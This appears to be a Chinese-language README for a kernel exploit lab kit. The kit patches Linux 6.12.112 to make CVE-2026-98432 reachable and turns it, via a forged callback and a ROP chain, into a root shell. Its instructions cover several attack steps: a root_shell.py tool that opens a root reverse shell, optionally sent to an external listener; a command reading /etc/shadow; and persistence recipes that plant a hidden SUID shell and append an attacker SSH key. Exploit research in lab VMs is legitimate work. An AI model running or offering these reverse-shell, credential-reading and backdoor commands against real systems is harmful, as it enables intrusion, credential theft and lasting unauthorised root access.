本套件构建一个故意存在漏洞的 Linux 6.12.112 内核,附带一个小的可利用性辅助工具,并将 CVE-2026-98432 路径转化为 QEMU 控制台上的交互式 root shell。
它是一个实验辅助工具,而非现成的远程漏洞利用程序。真实的 CVE 代码路径被使用:
ip_options_rcu 通过重传的 SYN-ACK 路径到达 ip_options_build();skb_shared_info 被破坏;skb_release_data() 调用伪造的 ubuf_info->ops->complete 回调;call_usermodehelper("/bin/sh", ...)。辅助工具是强制释放/伪造对象以及分阶段回调/ROP 链。在存在漏洞的原版内核上,缺失的部分是可靠的同 slab/同 CPU 回收和载荷分阶段原语;该部分未公开。参见下文“原版内核状态”。
/dev/kvm);TCG 可用但速度较慢sudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
首次构建会下载 Linux 6.12.112,回退两处 kfree_rcu() 调用,应用该辅助补丁,构建 bzImage,从打过补丁的 vmlinux 中解析符号/gadget,重新构建,打包 initramfs,并以 nokaslr 启动 QEMU。
如果 KVM 不可用:
QEMU_ACCEL=tcg ./build.sh
(当 /dev/kvm 不可写时,脚本目前会自动回退到 TCG;为方便起见,接受 QEMU_ACCEL 变量。)
在宿主机上打开第二个终端:
python3 trigger.py 127.0.0.1 9000
客户机 init 创建了 /tmp/cve98432_root.sh,其中包含一个控制台 shell(sh -i </dev/console)。只需向客户机监听器发起一次 TCP 连接即可。客户机控制台应显示类似以下内容:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
将 root_shell.py 复制到目标机器(该机器已启动 aid 内核),并以你当前拥有的用户身份运行它:
python3 root_shell.py
它写入 /tmp/cve98432_root.sh,其中包含一个 root 反向 shell 载荷,启动两个回环监听器(9000 用于触发,4444 用于 shell),触发该辅助程序,并将 root shell 桥接到你的终端:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
有用的选项:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
aid 链仅在 root 命令退出后才调用 machine_power_off()。
如果 root 命令永不退出,内核会在 call_usermodehelper() 中等待,
主机便保持运行。这样你就可以创建一条持久化的 root 路径:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
或添加 SSH 密钥并保持辅助程序存活:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
sleep 会让用户态辅助程序(以及因此的内核链)保持存活,因此目标不会关机。如果 /tmp 以 noexec/nosuid 挂载,请使用 /var/tmp 或 /root,而不是 /tmp。当 sleep 结束时,链会恢复并关闭主机;如果你想控制这一点,请以 root 身份终止 sleep 进程。
payload 文件以 0700 和 O_EXCL|O_NOFOLLOW 创建,除非指定 --keep-payload,否则使用后会被删除。当你退出 root shell 时,aid 链会调用 machine_power_off()。请使用一次性 VM,或者如果你需要主机保持运行,请编辑 aid_patch.py 中的 AID_POWEROFF。
该链运行:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
因此脚本始终以 root 身份执行。
| 部分 | 状态 |
|---|---|
伪造的 ip_options_rcu + ip_options_build() | CVE 路径,但分配由辅助代码强制触发 |
skb_shared_info 损坏 | 辅助代码在 tcp_v4_send_synack() 中直接设置字段 |
destructor_arg 回调劫持 | 真实的下游清理路径 |
ROP 栈迁移 + call_usermodehelper() | 真实的内核控制流劫持,由辅助代码分阶段布置 |
nokaslr 启动 | 实验环境简化;无需 KASLR 泄漏 |
本工具包所遵循的已发表独立研究,在插桩内核上达到了相同 阶段:真实的越界写入和回调路径,辅助的 释放/回收与载荷分阶段布置。截至 2026-11-02,原版内核上的武器化利用链尚未 公开可用。
辅助代码使用绝对内核地址,因为客户机以
nokaslr 启动。aid_patch.py 中的值是已发表的
6.12.112 实验构建的默认值。resolve.py 读取已修补的 vmlinux 和
System.map 并写入 symbols.json;随后 build.sh 更新这些定义
并重新构建。
如果 resolve.py 找不到某个 gadget(ROPgadget 缺失或不完整),
请安装它并重新运行:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
pivot gadget 必须与 aid_patch.py 中的链布局相匹配:一个
lea -0x18(%rbp), %rsp 加上四个 pop 和一个 ret/jmp。如果你的构建
使用了不同的 pivot,请调整 aid_patch.py 中的 SEND_BLOCK,或选择一个
匹配的 gadget。
原版存在漏洞的内核没有可靠、公开、无需辅助的 root 链。阻碍因素如下:
ip_options_rcu 必须在从释放到构建的窗口内
被一个由攻击者控制字节的对象回收。saved_syn 对象(TCP_SAVE_SYN)
是自然的候选对象,但独立实验室的测量表明,回收通常落在另一个
选项块上,而不是正在处理中的块。srr/rr/ts 存储会在 skb 缓冲区附近的偏移处提供四个受控字节;
写入完整的 8 字节 destructor_arg 指针需要要么一个
过时的高位双字,要么一个更强的原语。已发布的 Anthropic 链通过一个未公开的回收/暂存原语解决了这些问题。 本套件有意止步于控制流演示,而不是假装原版链可以工作。
| 文件 | 用途 |
|---|---|
build.sh | 内核 + initramfs + QEMU |
aid_patch.py | 应用伪造对象/回调/ROP 辅助 |
resolve.py | 为已修补的构建解析符号/gadget |
listener.c | 客户机 TCP 监听器(accept + close) |
init | 客户机 init 脚本 |
trigger.py | 主机侧单连接触发器(控制台变体) |
root_shell.py | 单文件触发器 + 反向 shell 桥接,用于带 Python 的目标 |
所有内容都在 work/ 下(或作为第一个参数传入的目录)。
删除它以回收磁盘空间:
rm -rf work
e3f33b0a1d89d738e2b913dab519226eaf76e15b